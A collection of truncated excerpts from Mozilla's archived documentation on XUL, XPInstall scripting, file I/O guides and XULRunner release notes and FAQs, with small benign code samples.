all installation via HTML or triggering an XPInstall installation via a Trigger Script. We will use the term current browser to refer to the browser that initiates the XPInstall download by visiting a site which requires a plugin that the current browser can not find locally. This step will involve the use of the initInstall API call to start everything off, and also the getFolder API call, which helps to locate the current browser's plugin directory. Install the plugin software to another location on the user's hard disk, so that other Mozilla-based browsers that the user may install later can find the plugin (the browser specific components) and pick it up. The goal is to ensure that future Netscape Gecko browsers that the user may install later can benefit from the installation that the us...
getLastError - Archive of obsolete content
is method allows you to defer checking for error codes each time you call addFile or addDirectory until the last addFile or addDirectory call. The getLastError method does not return errors from methods that return objects, such as getFolder. Example The following example calls getLastError after a series of addFile calls: addFile("npplug", ...); addFile("/MS/Shared/ctl3d.dll", ...); addFile("/NetHelp/royalplug/royalhelp.html",...); err = getLastError(); ...
Learn XPI Installer Scripting by Example - Archive of obsolete content
cancelled outside the main block if the earlier verification process is not successful. Note also the comments that indicate the success of various steps in the process--including the performInstall and cancelInstall steps--are written to the install log using the logComment, described in the following section. Installation Logging Logging is an important feature of the XPInstall API that can help you streamline and debug your installations. In the example in the Executing the Installation section and in many places in the installation script, the logComment API is used to write data to a log file that can then be reviewed when things don't go as planned. The install log is created in the product directory by default (where the browser executable is). If the installation doesn't have prop...
XPJS Components Proposal - Archive of obsolete content
files. Just as with native component modules each of these .js files will be expected to have the functions: NSRegisterSelf NSGetFactory NSUnregisterSelf (optional) NSCanUnload (optional) Each .js file might implement one or more components. We will have one native module - called the XPJSManager - which holds this system together. The XPJSManager is in charge of loading these .js files, helping them register themselves, and acting as an intermediary between the xpcom component manager and the JS code. XJS Components are not run in browser windows. Each .js file (let's call it a module) is started up and run in the context of a relatively 'raw' JS global object. The standard (non-DOM) JS classes will be available. The xpconnectComponents object will be available. And some additional ...
XTech 2006 Presentations - Archive of obsolete content
Work on this compiler and the new features of JS2 is presented by the inventor of JavaScript. Layout Algorithm Improvements for Web User Interfaces (slides, slides as one page) - David Baron A discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout. ...
buttons - Archive of obsolete content
of buttons to appear in the dialog box. The buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. The following values can be used in the list: accept: The OK button, which will accept the changes when pressed. This button will also be the default button. cancel: The cancel button which will cancel the operation. help: A help button for displaying help about the dialog. disclosure: A button to show more information. This might be a button or a disclosure triangle. extra1: An optional additional button. You can set its label with the buttonlabelextra1 attribute and its command with the ondialogextra1 attribute. extra2: A second optional additional button. You can set its label with the buttonlabelextra...
dlgtype - Archive of obsolete content
. For example, if the dlgType is set to accept, the button will replace the dialog box's accept button, which is usually labeled OK. Using this attribute on a button that is not in a dialog box has no effect. The following values can be used as the dialog type: accept The OK button, which will accept the changes when pressed. cancel The cancel button which will cancel the operation. help A help button for displaying help about the dialog. disclosure A button to show more information. This might be a button or a disclosure triangle. extra1 An optional additional button. extra2 A second optional additional button. ...
icon - Archive of obsolete content
Archive › Mozilla › XUL › Attribute › icon
<< XUL Reference home icon Mozilla 1.8 Type: string This attribute should be used to set the usage for common buttons. Some platforms display these buttons with a small icon indicating their usage. This should be used in place of the image attribute. Possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. If you are using a button that matches one of these common usages, use the icon attribute to indicate this. See the appearance of the different icons on some available platforms. ...
Building accessible custom components in XUL - Archive of obsolete content
_keypress event handler. <code> function install_handlers() { var spreadsheet = window.document.getElementById('accjaxspreadsheet'); spreadsheet.addEventListener('keypress', spreadsheet_keypress, true); spreadsheet.addEventListener('focus', spreadsheet_focus, true); spreadsheet.addEventListener('click', spreadsheet_click, true); } </code> With this new event handler and associated helper functions, we can navigate between cells and headers using the arrow keys. Inspect32 confirms that assistive technologies track the focus as we navigate within the spreadsheet. <caption>Focus is tracked properly during keyboard navigation</caption> Further reading Document Object Model events Adding Editing Capabilities Download stage-5.zip install stage-5.xpi We now have a fully a...
Deprecated and defunct markup - Archive of obsolete content
{many elements on this page are wrongly marked as deprecated, this page needs review} The following XUL tags and attribute should be considered deprecated, if not defunct. The list below may include a few elements which are actually in use, but at a deeper level in the code. Even some of the information on the tags below may be out of date, but is provided here for historical reference and to help anyone who comes across them in old code or documentation. Elements <actions> (listed here by mistake or was it a container tag?) Typo for <action> --Neil 03 March 2011 <autorepeatbutton> (action occurs repeatedly on mouse hover--used to construct other elements; used in <arrowscrollbox> and large drop-down menus) So, not deprecated? --Neil 03 March 2011 <bulletinboard> (made to suppo...
Accessing Files - Archive of obsolete content
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. Accessing Files This section describes how to create a file reference. Retrieving a File When working with files, usag...
Working With Directories - Archive of obsolete content
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. A reference to a directory may be created in the same way as with a file by using nsIScriptableIO.getFile(). You can a...
Getting File Information - Archive of obsolete content
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. The nsIFile object has a number of useful attributes which may be used to retrieve information about a file. Two usef...
Reading from Files - Archive of obsolete content
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. Reading data from a file involves getting a reference to a file and then creating an input stream to read from it. An ...
Uploading and Downloading Files - Archive of obsolete content
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. The IO object and stream objects can be used to upload files to servers in various ways. The exact method depends on ...
Writing to Files - Archive of obsolete content
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. To write to a file, an output stream is used. An output stream is an object which can be used to write bytes, strings...
IO - Archive of obsolete content
Archive › Mozilla › XUL › FileGuide › IO
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. Files and Streams This section describes how to access and get information about files, read from files and create and...
Moving, Copying and Deleting Files - Archive of obsolete content
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. There are several methods of the nsIFile object which may be used to move and copy files on disk. nsIFile.copyTo() is...
TOC - Archive of obsolete content
Archive › Mozilla › XUL › FileGuide › TOC
...
Menus - Archive of obsolete content
nubar element. menu_FilePopup The menupopup associated with the 'File' menu. menu_EditPopup The menupopup associated with the 'Edit' menu. menu_viewPopup The menupopup associated with the 'View' menu. goPopup The menupopup associated with the 'Go/History' menu. menu_ToolsPopup The menupopup associated with the 'Tools' menu. menu_HelpPopup The menupopup associated with the 'Help' menu. menu_viewSidebarMenu The menupopup for the 'Sidebar' submenu on the 'View' menu. menuWebDeveloperPopup The menupopup for the 'Web Developer' submenu on the 'Tools' menu. Firefox context menu Element ID Description Relevant context contentAreaContextMenu The popup for the context m...
Popup Guide - Archive of obsolete content
has been entered. A panel is created using the panel element. Floating Panels A floating popup is a type of panel with a titlebar and acts like an auxiliary window. Usually it would contain tools related to the main window, or an inspector which displays properties of a selected element. Tooltips When the mouse is positioned over a UI control, a tooltip provides a small box with descriptive help about that control. When the mouse is moved away from the control, the tooltip automatically disappears. A tooltip can be created by setting the tooltiptext attribute on an element or by using the tooltip element. Working with Popups The following additional information is available about manipulating menus and popups. Opening a Menu or Popup Most menus and popups are opened automatically...
buttons - Archive of obsolete content
of buttons to appear on the dialog box. The buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. The following values can be used in the list: accept: The OK button, which will accept the changes when pressed. This button will also be the default button. cancel: The cancel button which will cancel the operation. help: A help button for displaying help about the dialog. disclosure: A button to show more information. This might be a button or a disclosure triangle. extra1: An optional additional button. You can set its label with the buttonlabelextra1 attribute and its command with the ondialogextra1 attribute. extra2: A second optional additional button. You can set its label with the buttonlabelextra...
Providing Command-Line Options - Archive of obsolete content
cmdLine.preventDefault = true; } } catch (e) { Components.utils.reportError("incorrect parameter passed to -viewapp on the command line."); } // CHANGEME: change "myapp" to your command line flag (no argument) if (cmdLine.handleFlag("myapp", false)) { openWindow(CHROME_URI, null); cmdLine.preventDefault = true; } }, // CHANGEME: change the help info as appropriate, but // follow the guidelines in nsICommandLineHandler.idl // specifically, flag descriptions should start at // character 24, and lines should be wrapped at // 72 characters with embedded newlines, // and finally, the string should end with a newline helpInfo : " -myapp Open My Application\n" + " -viewapp <uri> View and edit the ...
RDF Modifications - Archive of obsolete content
put upon changes without rebuilding the entire template. When an unassertion occurs, or data is removed from the datasource, a different process is used. In this case, the builder looks at the results and determines which ones to remove. When it had first generated the results, the builder stored extra information to specify what parts of the graph were navigated over. It uses this information to help determine what results are no longer needed. RDF Changes that Affect a Binding Often, a new RDF triple is created in the datasource which would only affect a template rule's bindings. Since the bindings section of a rule specifies predicates that may optionally have values, the addition or removal or this RDF data would never be able to add or remove a new result. At the very most, the change ...
Template Logging - Archive of obsolete content
template can be difficult as many problems are logic errors that are often not possible to determine automatically. For example, if you spell a value wrong, no data may be returned, but the template system won't know that that this was because of a spelling error, or simply that there shouldn't be any data anyway. Fortunately, some debugging and logging support is provided with templates that may help. Logging Template Results There are two main ways in which template errors may be detected. The first debugging method involves logging all new results that apply to the template due to the data changing as well as logging results that are changed or removed. In addition, each result generated when the template is first created and initialized is logged. This logging of result changes is not done...
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
ninstall the button and start again, this time without making any changes to the files. After you get the button working, customize the files carefully. To see the effect of any change that you make, restart SeaMonkey. Advanced troubleshooting If you have some technical knowledge, then you can use the SeaMonkey's JavaScript console to see error messages. However, you might see messages that are unhelpful or confusing, or that come from other parts of the application. To open the JavaScript console, choose Tools - Web Development - JavaScript Console. Messages in the JavaScript console can provide information about JavaScript, XUL or CSS files. Note: The preference setting javascript.options.strict imposes restrictions that are not appropriate for the simple scripts in this tutorial. If you ...
Custom toolbar button - Archive of obsolete content
button and start again, this time without making any changes to the files. After you get the button working, customize the files carefully. To see the effect of any change that you make, restart the application. Advanced troubleshooting If you have some technical knowledge, then you can use the application's JavaScript console to see error messages. However, you might see messages that are unhelpful or confusing, or that come from other parts of the application. To open the JavaScript console, choose Tools - Web Developer- Browser Console, and enable JS. Or use short cut "Ctrl + Shift + J" Messages in the JavaScript console can provide information about JavaScript, XUL or CSS files. Note: The preference setting javascript.options.strict imposes restrictions that are not appropriate for...
Adding Event Handlers - Archive of obsolete content
r when we know what we want to put in it. We'll define some functions in the file and we can call them in event handlers. You can include multiple scripts in a XUL file by using multiple script tags, each pointing to a different script. You may use relative or absolute URLs. For example, you may use URLs of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> This tutorial does not attempt to describe how to use JavaScript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this. By default the JavaScript console only shows errors from web content. To show errors in chrome JavaScript, it is necessary to change th...
Adding HTML Elements - Archive of obsolete content
lement and an OK button. Notice that the XUL button can appear inside the HTML elements, as it does here. Plain text will only be displayed when placed inside an HTML element that would normally allow you to display text (such as a p tag). Text outside of one will not be displayed, unless the XUL element the text is inside allows this (the description element, for example). The examples below may help. Examples of HTML elements What follows are some examples of adding HTML elements to windows. In each case, the window and other common information has been left out for simplicity. A dialog with a check box Example 2 : Source View <html:p> Click the box below to remember this decision. <html:p> <html:input id="rtd" type="checkbox"/> <html:label for="rtd">Remember This Decision</ht...
Box Objects - Archive of obsolete content
ion of the element. It isn't necessary to know the details of how the layout objects are constructed but it is quite useful to at least have at least the knowledge of what is described above of XUL layout for more advanced XUL development. Box Objects The layout objects are not accessible to the developer for manipulating. They are internal to the XUL layout components. However, XUL provides some helper objects, called box objects, which can provide some layout related information. As the name implies, they are available for all box-based elements. There are several subtypes of box object, although only a couple of them are generally used. The others have functions which are more easily accessible by methods mapped directly onto the element, since those types are generally only used with one p...
Creating Dialogs - Archive of obsolete content
return true; } </script> <description value="Select a button"/> </dialog> You may place any elements that you wish in a dialog. The dialog element has some additional attributes that windows do not have. The buttons attribute is used to specify which buttons should appear in the dialog. The following values may be used, seperated by commas: accept - an OK button cancel - a Cancel button help - a Help button disclosure - a disclosure button, which is used for showing more information You can set code to execute when the buttons are pressed using the ondialogaccept, ondialogcancel, ondialoghelp and ondialogdisclosure attributes. If you try the example above, you will find that the doOK() function is called when the OK button is pressed and the doCancel() function is called when the ...
Keyboard Shortcuts - Archive of obsolete content
K_F5 VK_F6 VK_F7 VK_F8 VK_F9 VK_F10 VK_F11 VK_F12 VK_F13 VK_F14 VK_F15 VK_F16 VK_F17 VK_F18 VK_F19 VK_F20 VK_F21 VK_F22 VK_F23 VK_F24 VK_NUM_LOCK VK_SCROLL_LOCK VK_COMMA VK_PERIOD VK_SLASH VK_BACK_QUOTE VK_OPEN_BRACKET VK_BACK_SLASH VK_CLOSE_BRACKET VK_QUOTE VK_HELP For example, to create a shortcut that is activated when the user presses Alt and F5, do the following: <keyset> <key id="test-key" modifiers="alt" keycode="VK_F5"/> </keyset> The example below demonstrates some more keyboard shortcuts: <keyset> <key id="copy-key" modifiers="accel" key="C"/> <key id="find-key" keycode="VK_F3"/> <key id="switch-key" modifiers="con...
More Button Features - Archive of obsolete content
URL in the image attribute. The image is loaded from the URL, which can be a relative or absolute URL, and then the image is displayed on the button. The button below will have both a label and the image 'happy.png'. The image will appear to the left of the label. You can change this position by using two other attributes. This will be explained in a moment. Example 1 : Source View <button label="Help" image="happy.png"/> Button with CSS image Another way to specify the image is by using the CSS list-style-image style property on the button. This is designed to allow the 'skin' (in this case, the appearance of the image) to be changed without changing the XUL file. An example is shown below. Example 2 : Source View <button id="find-button" label="Find" style="list-style-image: url('happy.pn...
More Event Handlers - Archive of obsolete content
lled as soon as a mouse button is pressed, even if it hasn't been released yet. mouseup Called when a mouse button is released on an element. mouseover Called when the mouse pointer is moved onto an element. You could use this to highlight the element, however CSS provides a way to do this automatically so you shouldn't do it with an event. You might, however, want to display some help text on a status bar. mousemove Called when the mouse pointer is moved while over an element. The event may be called many times as the user moves the mouse so you should avoid performing lengthy tasks from this handler. mouseout Called when the mouse pointer is moved off of an element. You might then unhighlight the element or remove status text. There are also a set of drag rel...
Skinning XUL Files by Hand - Archive of obsolete content
lly and completely -- by pressing a button, selecting a skin from a menu, or by accepting a skin from over the web. When this day comes, skins defined in a global skin file will be applied to a whole application -- like the Mozilla browser -- so that all the various windows and parts will look consistent. In the meantime, however, skinning a file requires some manual interaction. This article can help you get started understanding skins and creating skins for XUL. It presumes you have at least basic understanding of XUL and the Application Object Model that XUL describes. Following the instructions here, you are going to create a skin for a XUL file and apply it by specifying classes for all of the interested elements. The skin will reside in a single CSS file, appropriately named drxul.css. A...
Splitters - Archive of obsolete content
ize. The default value is closest. If you set the collapse attribute, you should also add a grippy element inside the splitter which the user can use to collapse the element. The width and height attributes of the elements next the splitter are adjusted when the splitter is dragged. The exact element depends on the resizebefore and resizeafter attributes. ...
XUL Accesskey FAQ and Policies - Archive of obsolete content
on a letter of the opposite case. Our preference is to underline the first letter of one of the words, so it's important to be aware of this quirk. Avoid duplicates Don't use the same accesskey letter twice in the same window. Be especially careful of drop down menus in the same window. For example, in the Manage Bookmarks dialog, don't use F, E, V, T or H (File, Edit, View, Tasks, Help). Help wanted: it would be useful to have an automated tool to check for duplicate and missing accesskeys in XUL files. Make it easy to see Use letters at the beginning of the first or second word of the label. Use a distinctive consonant or a vowel in the label. Use letters with wide widths, such as w, m, and capital letters. Avoid: Letters with descenders, such...
XUL Changes for Firefox 1.5 - Archive of obsolete content
upports the defaultButton property. Setting this property changes the default button of the dialog. It can be set either to one of the buttons of the <dialog> binding (using their names); or to none - in which case no button is set to be the default. Button: icon property The icon property on a button may be used to set stock icons on a button, used on some platforms. For instance <button icon="help"> will create a button with a help icon. This is used typically on GNOME systems where possible values are: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. <menulist> Items in a <menulist> support the description attribute to allow for extra descriptive text to appear beside a...
XUL FAQ - Archive of obsolete content
's user interface. Other FAQs you may be interested in: Extension FAQ, ... If your question is not answered here, you can try looking for the answer in the XUL documentation or ask in the XUL newsgroup. Are there decent visual editors for laying out XUL applications? There are no production-quality visual editors available for XUL. The recommended way is to edit XUL by hand, possibly with the help of a good text or XML editor. Ted Mielczarek's Live XUL Editor (also part of Extension Developer's Extension) often proves useful. A list of projects (dead and active) aiming to create a XUL IDE/editor is at wikimo:XUL:IDE. Troubleshooting prefwindow-based options windows This ought to be on a separate page, Preferences System Troubleshooting. It is a FAQ. Some things to check when you have is...
XUL Reference - Archive of obsolete content
r Window structure --- Menus and popups --- Toolbars toolbar toolbarbutton toolbargrippy toolbaritem toolbarpallete toolbarseperator toolbarspring Tabs and grouping tab tabbox tabpanel tabpanels tabs Controls --- Text and images label caption image Lists --- Trees --- Layout --- Templates --- Scripting --- Helper elements Other XUL lists dialog overlay page window wizard wizardpage preference preferences prefpane prefwindow browser tabbrowser editor iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpal...
The Implementation of the Application Object Model - Archive of obsolete content
e Raptor has multiple APIs for referring to these objects. Examples of these interfaces include nsIDOMElement, nsIDOMNode, nsIXMLContent, and nsIContent. What is RDF? RDF (pronounced R-D-F) has never been a ravening demon intent upon taking over the Earth, although that does depend on who you ask. RDF stands for resource description framework, a rather intimidating name that doesn't do much to help the layman understand exactly what it does. RDF provides a very general mechanism for representing relationships between different disparate types of data. The relationships between data are represented as a directed labeled graph structure. The data itself can be fed in from any number of different sources (e.g., from a local file system, from your bookmarks file, or from some remote downloadabl...
XML - Archive of obsolete content
tributes must have a value. XUL Is Made Out of XML You don't need to know all about XML in order to use XUL, but you may want to read through this article to get a sense of XUL's pedigree as a specialized markup language. XUL is based upon XML, so it inherits a lot of the rules and syntax described above from this "meta-language," as you will see. Any familiarity you already have with XML will help you quickly get up to speed developing with XUL. XML is a language for creating other languages. It is a language for describing the structure of data. It does not describe the way in which this data is to be presented, like its semantically-challenged cousin HTML does, and it doesn't have much to say about the data itself. When someone says they are using XML, what they probably mean is that t...
XUL Coding Style Guidelines - Archive of obsolete content
Style info Layout geometry How to make them localizable? Localization Notes Localization notes are the XUL writers' notes to the localizers/translators. They are placed above the actual entity string in the format: <!-- LOCALIZATION NOTE (entity.name): content --> where the <var>entity.name</var> is the entity name (id) for the string (entity value) to be localized, and the content provides helpful hints to the localizers. For example: <!-- LOCALIZATION NOTE homeBtn.label : Do not translate the entity value "Home". --> <!-- ENTITY homeBtn.label "Home" --> Properties files are very similar, but use the pound sign instead of <!--<var>xxxxx</var>-->: # LOCALIZATION NOTE entity name : content We recognize that translation is a subset of localization even though we've consistently refer...
command - Archive of obsolete content
More information is available in the XUL tutorial. See also: command attribute, commandset element Attributes disabled, label, oncommand,reserved Examples The following code will send a paste command (cmd_paste) to the currently focused element: // First include chrome://global/content/globalOverlay.js goDoCommand("cmd_paste"); Example with two buttons <commandset><command id="cmd_openhelp" oncommand="alert('Help');"/></commandset> <button label="Help" command="cmd_openhelp"/> <button label="More Help" command="cmd_openhelp"/> Attributes disabled Type: boolean Indicates whether the element is disabled or not. If this attribute is set, the element is disabled. Disabled elements are usually drawn with grayed-out text. If the element is disabled, it does not respond to user ...
commandset - Archive of obsolete content
on, this element can hold a command updater which is used to update commands when certain events occur. A common use of the command updater is to update cut, copy, and paste menu items. More information is available in the XUL tutorial. Attributes commandupdater, events, oncommandupdate, targets Example <commandset> <command id="cmd_open" oncommand="alert('Open!');"/> <command id="cmd_help" oncommand="alert('Help!');"/> </commandset> Attributes commandupdater Type: boolean If true, the commandset is used for updating commands. Typically, this is used to update menu commands such as Undo and Cut based on when an event occurs. For example, since the Cut command is only valid when something is selected, a command updater might be used when the select event ...
toolbarbutton - Archive of obsolete content
. For example, if the dlgType is set to accept, the button will replace the dialog box's accept button, which is usually labeled OK. Using this attribute on a button that is not in a dialog box has no effect. The following values can be used as the dialog type: accept The OK button, which will accept the changes when pressed. cancel The cancel button which will cancel the operation. help A help button for displaying help about the dialog. disclosure A button to show more information. This might be a button or a disclosure triangle. extra1 An optional additional button. extra2 A second optional additional button. group Type: string group name Buttons with type="radio" and the same value for their group attribute are put into the same group. Only one butt...
XUL - Archive of obsolete content
XUL Tutorial A guided tutorial that will help you get started with XUL, originally from XULPlanet. XUL (XML User Interface Language) is Mozilla's XML-based language for building user interfaces of applications like Firefox. The term XUL is sometimes used to refer to the whole Mozilla platform (e.g. XUL applications are applications using XUL and other components of the platform). XUL Controls lists some of the common controls provided by XUL. Documentation XUL Tutorial A guided tutorial that will help you get started with XUL, originally from XULPlanet. XUL Reference XUL elements, attributes, properties, methods, and event ha...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
to my users? Right now Mozilla recommends that XULRunner should be deployed privately with each application. See Deploying XULRunner 1.8 for more information. Where is the source code? Here. I think I've found a bug, how do I report it? bugzilla.mozilla.org is used to track bugs in all Mozilla products. Please search to make sure that your bug has not already been reported. How can I help? If you want to help with XULRunner but don't know where to start, visit the XULRunner:Community page and ask questions on the newsgroups or the IRC channel. ...
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
my users? Right now Mozilla recommends that XULRunner should be deployed privately with each application. See Deploying XULRunner 1.8 for more information. Where is the source code? Here. I think I've found a bug, how do I report it? bugzilla.mozilla.org is used to track bugs in all Mozilla products. Please search to make sure that your bug has not already been reported. How can I help? If you want to help with XULRunner but don't know where to start, visit the XULRunner:Community page and ask questions on the newsgroups or the IRC channel. Interwiki Language Links ...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
should be deployed privately with each application. See Deploying XULRunner for more information. Where is the source code? Here. Where is the SDK? Here. I think I've found a bug, how do I report it? bugzilla.mozilla.org is used to track bugs in all Mozilla products. Please search to make sure that your bug has not already been reported. How can I help? If you want to help with XULRunner but don't know where to start, visit the XULRunner:Community page and ask questions on the newsgroups or the IRC channel. ...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
sers? Right now Mozilla recommends that XULRunner should be deployed privately with each application. See Deploying XULRunner for more information. Where is the source code? Here. Where is the SDK? Here. I think I've found a bug, how do I report it? bugzilla.mozilla.org is used to track bugs in all Mozilla products. Please search to make sure that your bug has not already been reported. How can I help? If you want to help with XULRunner but don't know where to start, visit the XULRunner:Community page and ask questions on the newsgroups or the IRC channel. ...
XULRunner 1.9 Release Notes - Archive of obsolete content
ight now Mozilla recommends that XULRunner should be deployed privately with each application. See Deploying XULRunner for more information. Where is the source code? Here. Where is the SDK? Here. I think I've found a bug, how do I report it? bugzilla.mozilla.org is used to track bugs in all Mozilla products. Please search to make sure that your bug has not already been reported. How can I help? If you want to help with XULRunner but don't know where to start, visit the XULRunner:Community page and ask questions on the newsgroups or the IRC channel. ...
XULRunner 2.0 Release Notes - Archive of obsolete content
nner should be deployed privately with each application. See Deploying XULRunner for more information. Where is the source code? Here. Where is the SDK? Here. See Gecko SDK for information about the SDK. I think I've found a bug, how do I report it? bugzilla.mozilla.org is used to track bugs in all Mozilla products. Please search to make sure that your bug has not already been reported. How can I help? If you want to help with XULRunner but don't know where to start, visit the XULRunner:Community page and ask questions on the newsgroups or the IRC channel. ...
Building XULRunner - Archive of obsolete content
ozilla tree, using the same tag as a Firefox build. There is a convention where a certain XULRunner version maps to a certain tag in the CVS. For instance XULRunner 1.8.1.3, the corresponding tag is CVS is : FIREFOX_2_0_0_3_RELEASE To find out how those Firefox tags and XULRunner version maps, check out the file mozilla/config/milestone.txt . You can also check the User Agent string in Firefox Help/About menu to get the mapping from a certain binary Firefox version to the corresponding XULRunner version. For instance, in Firefox 2.0.0.9 you will get : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Therefore the XULRunner version for this Firefox version is : 1.8.1.9 Fetching Sources from Mercurial As with all other Mozilla products, one would...
CommandLine - Archive of obsolete content
this; throw Components.results.NS_ERROR_NO_INTERFACE; }, /* nsICommandLineHandler */ handle : function clh_handle(aCmdLine) { var observerService = Components.classes["@mozilla.org/observer-service;1"] .getService(Components.interfaces.nsIObserverService); observerService.notifyObservers(aCmdLine, "commandline-args-changed", null); }, helpInfo : " -test <value> A test attribute\n", /* nsIFactory */ createInstance : function mdh_CI(aOuter, aIID) { if (aOuter != null) { throw Components.results.NS_ERROR_NO_AGGREGATION; } return this.QueryInterface(aIID); }, lockFactory : function mdh_lock(aLock) { /* no-op */ } }; var appHandlerModule = { /* nsISupports */ QueryInterface : function ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
The tutorial here uses the My App example from the article Getting started with XULRunner. Step 1: Installing Inno Setup Download Inno Setup from Inno Setup Downloads. If you only want to compile the installer, install the stable release. If you want to edit scripts, you should get the QuickStart Pack (which includes ISTool, the script editor. However, if you don't get the QuickStart Pack, you can later get ISTool from Inno Setup Third-Party Files. ...
XULRunner FAQ - Archive of obsolete content
? Right now Mozilla recommends that XULRunner should be deployed privately with each application. See Deploying XULRunner 1.8 for more information. Where is the source code? Here. I think I've found a bug, how do I report it? bugzilla.mozilla.org is used to track bugs in all Mozilla products. Please search to make sure that your bug has not already been reported. How can I help? If you want to help with XULRunner but don't know where to start, visit the XULRunner:Community page and ask questions on the newsgroups or the IRC channel. ...
Getting started with XULRunner - Archive of obsolete content
talled as a XUL app - you need to use the installed XULRunner directly. Further Reading: There are many things you can do with XULRunner (who would have thought that? Typical Mozilla writing style at play here). Before you get too far into things you might want to read the XULRunner tips article. Also, throughout this tutorial you've been introduced to various bits of the Toolkit API and it may help you to get familiar with it. Once you've got an application that's ready for the world you'll love our article titled Deploying XULRunner. For now, click the "next" link to learn about windows and menus in XULRunner! Next >> Original Document Information Author: Mark Finkle, October 2, 2006 ...
MacFAQ - Archive of obsolete content
ow.xul (Note: the debug function and nsICommandLine try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myXUL_hidden" windowtype="myXUL:hiddenwindow" title="" width="0" height="0" persist="screenX screenY width height sizemode" > <!-- Load the Mozilla helpers --> <script type="application/javascript" src="chrome://global/content/nsUserSettings.js" /> <script><![CDATA[ function debug(aLogString) { var mConsoleService = Components.classes["@mozilla.org/consoleservice;1"] .getService(Components.interfaces.nsIConsoleService) mConsoleService.logStringMessage("myXUL: " + aLogString + "\n"); } f...
XULRunner tips - Archive of obsolete content
Useful Chrome URLs Most of these require branding. Window URL Window Type Extension Manager chrome://mozapps/content/extensions/extensions.xul?type=extensions Extens...
What XULRunner Provides - Archive of obsolete content
lete) Storage/sqlite interfaces User Interface Features The following user interface is supplied by XULRunner, and may be overridden by embedders under certain circumstances: APIs and user interface for installing, uninstalling, and upgrading XUL applications. See the wikimo:XUL:Installation Story. ...
